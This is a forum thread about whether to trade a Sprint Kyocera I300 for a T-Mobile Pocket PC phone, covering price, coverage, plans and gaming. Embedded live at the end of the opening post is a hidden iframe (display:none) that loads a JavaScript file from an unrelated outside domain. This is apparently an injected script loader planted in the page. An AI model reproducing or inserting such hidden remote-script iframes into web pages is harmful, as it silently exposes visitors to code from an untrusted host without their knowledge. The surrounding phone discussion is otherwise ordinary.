Help dedicing whether to get an T-mobile Pocket pc
Hi, guys,...you know how it is,....new phones are coming out and suddenly our beloved I300 who was loyal and pretty for so long its beginning to loose atractiveness, and pretty much all of you guys are like me, "have to keep up with technology"!
So I am offered the new o2 XDA (T-Mobile Pocket PC Edition) phone for $300 with a year contract, and I'm really contemplating the switch.
I always wanted to have a Pocket PC, since they came out, but their prices are prohibitibe (I don't know if that's how you spell).
I have seen games like Argentum, FIFA2000 and Tomb Raider and I drool of envy.
I happen to like SprintPCS service, their Wireless Web is not the fastest, but Its reliable and you can connect anytime, without worrying about MB spent or anything like that ( the only thing that you have to worry about is your minutes spent), but then again if you use it after 8pm, you don't really have to worry.
These people at T-mobile charge you for the MB and they charge you separately voice & data , I don't know If that would be ok for me but I guess I'll live with if if the speed is ok.
On the other side, T-mobile gives you more voice minutes for the buck, a LOT more, and they still have the "Unlimited" feature for night/weekends. I have never spent more that my 2500 off peak minutes in SprintPCs and I think I talk a lot in the weekends, but Its still nice to know that the Unlimited feature is there. (I problably spend more minutes for a couple of weeks that I have the new phone)
I have heard reviews about it and they all say is good, is not the greatest Pocket pc, since it only has 32MB and a 12bit screen, but I don't see that being a problem, specially since I have seen website that do memory upgrades for the phone up to a whopping 128MB!!! Also, its not the greatest phone either, doesn't come with voice Dialing, but still, in my I300 I use mostly the speed dials rather than the voice dial, since when it reset doesnt store the voicedials but the Speed dials are saved.
About the size, yeah is bigger that the I300, but not that much, I wish there was somebody online that can have a comparison with the I300. I guess I would have to get used to it as I did with the Kyocera 6035, actually Is not that bad
Battery life from what I heard is actually pretty darn good, for it being a color screen Pocket pc phone.
I think the fact that is only $300 makes it very tempting, I think I can get that money for the I300 with all the accesories and programs.
Tell me what do you think?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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I think the fact that is only $300 makes it very tempting
good price but from the tone of your post Yorch, it sounds like you are settling for less than you want. Have you checked TMobile's coverage in your area. I checked it for my area (Balt-DC) and it sucked to the point that it wasn't even offered for my zip code.
Well that's the thing, you see I have a friend who had little tiny Nokia 8290 with Voicestream, and although it had good coveraga, in certain spots here in Miami, he will break the connection, I don't know if it was the phone or just the spot. Also, sometimes the call will not get trough and I will get directly the voicemail.
My brother also swithed from Cingular to Voicestream, because of the TREO 180, and he has told me that he likes the service from Voicestream(now T-mobile), but then again, he is not such a phone/pda user as I am, and I had used Cingular (before Bellsouth Mobility), and believe me, ANYTHING is better that those people.
I think T-mobile is alright, but the issue is that I am happy with SprintPCS their service is ok, switching providers will involve switching numbers, and all the proccess that involves that.
coverage area here in Miami, is alright, but I wish SprintPCS will offer a well integrated Pocket PC phone for $300 . not the Bigass $700 Thera
I mean, I'm almost ready to do it, I'm just waiting, and seeing reviews and stuff
PS. Unluckily, games that don't involve the stylus and involve the buttons are out of luck in this phone for what I've read, it only has 2 buttons and they are at the top of the screen, the two buttons at the botton are for phone functions and can't be remapped
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If you're happy with sprint's service why not just stick around and wait it out a little. Charging for voice and data separatly could become a pain, and the whole unlimited night thing doesn't really hold a whole lot over sprint's ungodly amount of night + weekend minutes anyways. Unlimited just sounds cooler to some people; it's not actually more useful. Couple questions you might like to ask yourself:
1) Are you going to have to break a contract with sprint? That's not a cheap fee.
2) How badly do you want the phone? All the providers will be releasing a lot of new smart phones, palm phones, and my personal favorites: Pocket PC phones.
Plus: just in case you wind up not being happy with Voicestream's service, you would have to break THEIR contract to go with someone else or come back to sprint. Not to mention all the activation fees involved hopping around once or twice.
When I give advise I try to speak as objectively as possible, but here's a story from my experience that might help too: Almost a year ago I played the game of hopping around from a couple services. I left sprint for voicestream, got upset at their phone selection and degrading customer service quality, switched to verizon and came back to sprint within two months for a number of ugly reasons I'd rather not get into. Basically customer service issues, again. For me the balance of minutes/data/customer service with sprint is acceptable, and it seems as though the providers are all offerring a decent selection of phones now. You might have to wait for a phone as nicely priced as that voicestream one to hit sprint, but it might be worth it in the long run if you consider some of the questions I've mentioned. If it aint broke, don't fix it right? You like the service? Stick around... you'll get your phone, just like the rest of us.
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well, I don't have a contract with SprintPCS anymore, I had it but It was when I started, but yeah, you are right, I'll problably stick around a little more and wait until new devices come, anyways, I was thinking when my girlfriend contract is due with Cingular in February, I was thinking that maybe we can get a good plan with two phones and pcs to pcs minutes, since most of the times I talk to her, and when we are together she uses my phone. So by that time I really hope there are some other cool phones, specially Pocket Pcs. Although I love Palm, I must say, this time, since I was actually eager and was a real possibility to buy a pocket PC, I had visited a couple of Pocket pc websites where there are games and apps, and I must tell you, they look truly amazing! There is even real 3D games for it!. So although the new Kyocera looks sweet, if I have something big, I rather have a pocket pc, I think I'm ready to jumpship, (if the price is right)
I also hope by the time I get my new phone, VISION gets cheap, or that I can actually afford it.
But every freaking time that I see Argentum or those other games, I drool, that game kick ass! and I haven't even played it yet!:p
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If I were not still in a Sprint contract, I would go for the pocketPC phone. I play lots of games on my I300, but the games for pocketPC are better. Voicestream is offering a cheaper service as well, 3000 anytime minutes for $50. I dont think any company comes close to that.
But samster remember: the pocket PC phone voicestream has doesn't have buttons like your typical pocket PC. there's only two extra buttons and they're at the top of the phone by the speaker, not down where they usually are on your typical jornada/ipaq or whatever. You might want to seriously consider that too yorch, and I only say that becuase you sound so excited about the games, as am I. I used to own a jornada 568, one of the nicer pocket PC's out there and I LOVED it, especially for the games but also majorly because of the efficiency and power of the software pocket PC has available. But playing games on the voicestream pocket pc would suck, if you could even play em at all. I actually bought an emulator program for pocket PC when I owned one that let you play your old nintendo games on your pocket PC! it was AWESOME, I was halfway through Zelda before I decided to give up the jornada and my old cell phone for an all in one unit... (no, you don't bring the actual cartridges with you, you can find the actual game files on the internet and I have a boatload of em I'm kind of regretting that now but I know my perfect pocket PC phone will come soon. I actually have the toshiba 2032 sprint pocket PC phone coming to me in the mail, but I don't suspect I'll keep it because of all the horrible rumors I hear about not being able to use it as a real phone. You have to use a headset or turn the speakerphone down really low, turn phone upside down and THEN you can hold it up to your head. But I just want to see if the manufacturers are at least designing these phones right...
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if dreams are like movies
then memories are films about ghosts
Oh and plus: that $50 plan voicestream has for 3000 minutes
A) doesn't let you roam the US with the phone, you usually have about a 6 state region that is 'your home calling area.' and
B) doesn't give you long distance, at all. Except within that 6 state region, but otherwise no nationwide long distance.
But if you look at the plans they're still not all that great... example: voicestream has a nationwide plan for $60 with 800 daytime minutes and for an ADDITIONAL $6.99 you can get unlimited nights from 9 pm - 7 am... so that's $67 a month. The catch: no data either. I just signed a plan with sprint for $55 a month which included 800 minutes, ungodly night and weekend minutes (unlimited, imho) long distance, 2 megs of vision data time and 500 sprint mobile to mobile minutes.... now like I mentioned before I try to be objective and unbiased but... if you stack all that up,I think that plan woops voicestream's little ass.
Although with Catherine Zeta Jones as their new spokeswoman, I must admit voicestream has a really NICE lookin ass. If y'all don't mind me saying...
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if dreams are like movies
then memories are films about ghosts
Coverage is ok with voicestream, I was with them for a while. They basically have almost the same digital network as sprint, but absolutely no roaming coverage. They're ONLY digital. But no, that phone doesn't have any expansion either if I remember correctly. Not a big deal to some... however a deciding factor for me. Two thumbs down. Three if I had another...
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if dreams are like movies
then memories are films about ghosts
it seems that you have already made up your mind about getting the t thingy so the choice is clear. if you wanted to wait around for sprint you would. i dont balme you though, u gotta do what you have to do and the price you are offered is hard to beat, especially since thats what youve wanted.
sprint will be sad you left, but they wil have to understand...
gotta dispute that one 'be'........ I'm 50 miles from DC & B'more (pretty active lil triangle here) & I can't even get TMobile.
.........BUT, you guys have definately tweaked my interest in checkin out PPC.....thanks for the info. ....BUT... I still haven't seen my next phone. ...but bear with me a sec., as being admittedly ignorant of PPC, ... is PPC open source??? ...not Microsoft's usual MO if it is. So you are totally reliant on vendor (probably Microsoft controlled) channeled software?? Tell me that isn't true please...lol. & sowwy for being ignorant of PPC, still might check it out - hey, typin this in IE and XP....if Uncle Bill has the best goin then "yes sir Mr Gates"
Ok, I have read all the post so far, (thanks for the post guys!).
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the pocket PC phone voicestream has doesn't have buttons like your typical pocket PC.
Yeah, if the phone wouldn't have only those 2 buttons, I wouldn't even doubt it, but still, most of the functionality is there.
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...and I only say that becuase you sound so excited about the games...
Well I'm interested in the games, because think about it, how else do you see the truly power of a computer if not with top of the line games?, Its not with a word processor, or with a spreadsheet, its watching a very cool video of something of watching a very fluid and vivid game. That and of course, when I'm waiting for a meeting, or a Dr.'s appt, or my class in school, I would like to play a good, and ever entertaining game. By the way, I saw the emulator that you are talking about, yeah, sweet, not only you can play gameboy, gameboy color, but game boy advance, Nintendo, SEGA Master system, and even I think super nintendo!!
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Although I have no interest in getting one myself (I'm a 7135 man!)
I am, (or I was) a Kyocera, guy, I think the Kyocera 6035 was a lot better quality phone than the I300, and I believe the 7135 will be a kick ass phone.
But think a about it, why do you really want in that phone?
cool phone integration? check
Mp3/ check
SD card expansion? check
customization of ringtones and "skinable" dialpad check,...or wait the 7135 have hardware keypad
About the size, the Kyocera will be a BIG phone, as big as a regular Palm, if you have seen the comparison, so, in other words, I was very willing to wait for the Kyocera, but think about it, there are not that many new smartphones around, Palm, the samsungs and this kyocera, but that's it, pocket pc, the samsung and those sendo, but they run Smartphone 2002, which they don't use the styli.
And to be honest, from the time new smartphones will come out, problably will be like 6 months from now. and then I will have to wait for them to get this cheap. Also, most of the PocketPcs smartphones are coming in the GSM flavor.
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doesn't give you long distance
to be honest, my mom is the only one that uses my SprintPCS long distance to call my uncles in NY, I don't really use it, I'm a pretty local guy
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... is PPC open source??? ..
yes pete, as open as regular windows, there are a LOT of programs that are running Pocket pc these days, aren't you wondering what's the hype of the Pocketpcs, see them for yourselfPocketgamer , Pocketgear and my favourite Pocketpcthoughts
I'll problably end up moving to T-mobile and get it and then get the Danger hiptop (Sidekick) for my girlfriend
But I'm still waiting on opinions
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windows is about as far as you can get from "open-source". Did a lil checking and hacks are limited to changing a few registry settings. No where near the flexibility of Palm. Here is a site that details what you can do.
...but bear with me a sec., as being admittedly ignorant of PPC, ... is PPC open source??? ...not Microsoft's usual MO if it is. So you are totally reliant on vendor (probably Microsoft controlled) channeled software?? Tell me that isn't true please...lol. & sowwy for being ignorant of PPC, still might check it out - hey, typin this in IE and XP....if Uncle Bill has the best goin then "yes sir Mr Gates" 
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